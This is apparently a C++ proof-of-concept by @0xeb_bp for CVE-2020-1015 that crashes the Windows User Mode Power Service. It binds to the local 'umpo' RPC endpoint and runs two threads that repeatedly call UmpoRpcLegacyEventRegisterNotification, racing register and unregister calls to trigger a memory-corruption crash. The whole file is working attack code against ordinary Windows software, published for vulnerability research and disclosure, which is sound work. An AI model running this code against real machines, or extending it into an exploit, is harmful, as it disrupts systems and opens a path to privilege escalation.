/*
CVE-2020-1015 PoC Crash written by @0xeb_bp
more information at https://0xeb-bp.github.io/blog/2020/05/12/cve-2020-1015-analysis.html
*/

#include <iostream>
#include "Source_h.h"

DWORD WINAPI register_thread(LPVOID lpParameter)
{
	handle_t PowerServiceHandle = *((handle_t*)lpParameter);

	wchar_t service_name[] = { 0x4141, 0x4141, 0x4141, 0x4141,
							  0x4242, 0x4242, 0x4242, 0x4242,
							  0x4343, 0x4343, 0x4343, 0x4343,
							  0x4444, 0x4444, 0x4444, 0x4444,
							  0x4545, 0x4545, 0x4545, 0x4545,
							  0x4646, 0x4646, 0x4646, 0x0000 };

	while (1) {
		RpcTryExcept
		{
			// Calls the RPC function
			UmpoRpcLegacyEventRegisterNotification(
				// Handle
				PowerServiceHandle,
				// Handle
				0x1337,
				// Service Name
				service_name,
				// Deref = 1, Register = 0
				0);
		}
			RpcExcept(1)
		{
			std::cerr << "Runtime reported exception " << RpcExceptionCode()
				<< std::endl;
		}
		RpcEndExcept
	}
	return 0;
}

DWORD WINAPI unregister_thread(LPVOID lpParameter)
{
	handle_t PowerServiceHandle = *((handle_t*)lpParameter);

	wchar_t service_name[] = { 0x4141, 0x4141, 0x4141, 0x4141,
							  0x4242, 0x4242, 0x4242, 0x4242,
							  0x4343, 0x4343, 0x4343, 0x4343,
							  0x4444, 0x4444, 0x4444, 0x4444,
							  0x4545, 0x4545, 0x4545, 0x4545,
							  0x4646, 0x4646, 0x4646, 0x0000 };

	while (1) {
		// add some randomization
		long reg = rand() % 2;
		RpcTryExcept
		{
			// Calls the RPC function
			UmpoRpcLegacyEventRegisterNotification(
				// Handle
				PowerServiceHandle,
				// Handle
				0x1337,
				// Service Name
				service_name,
				// Deref = 1, Register = 0
				reg);
		}
			RpcExcept(1)
		{
			std::cerr << "Runtime reported exception " << RpcExceptionCode()
				<< std::endl;
		}
		RpcEndExcept
	}
	return 0;
}

int main()
{
	RPC_STATUS status;
	RPC_CSTR szStringBinding = NULL;
	handle_t PowerServiceHandle = NULL;

	// Create string binding handle
	status = RpcStringBindingComposeA(
		// UUID
		NULL,
		// Protocol
		(RPC_CSTR)("ncalrpc"),
		// TCP/IP network address to use
		NULL,
		// Endpoint
		(RPC_CSTR)("umpo"),
		// Protocol dependent network options to use
		(RPC_CSTR)("Security=Impersonation Dynamic True"),
		// String binding output
		&szStringBinding);

	if (status) {
		std::cout << "Error RpcStringBindingComposeA" << std::endl;
		exit(status);
	}

	// Create binding handle
	status = RpcBindingFromStringBindingA(
		szStringBinding,
		&PowerServiceHandle);

	if (status)
		exit(status);

	// Create threads
	HANDLE t1 = CreateThread(0, 0, register_thread, &PowerServiceHandle, 0, 0);
	HANDLE t2 = CreateThread(0, 0, unregister_thread, &PowerServiceHandle, 0, 0);

	// Basic exit
	char exit_input = ' ';
	while (exit_input != 'q')
	{
		exit_input = getchar();
	}

	// cleanup
	CloseHandle(t1);
	CloseHandle(t2);

	RpcStringFreeA(&szStringBinding);
	RpcBindingFree(&PowerServiceHandle);

	std::cout << "Ending..." << std::endl;

	return 0;
}

// Memory allocation function for RPC
// The runtime uses these two functions for allocating/deallocating
void* __RPC_USER midl_user_allocate(size_t size)
{
	return malloc(size);
}

// Memory deallocation function for RPC.
void __RPC_USER midl_user_free(void* p)
{
	free(p);
}
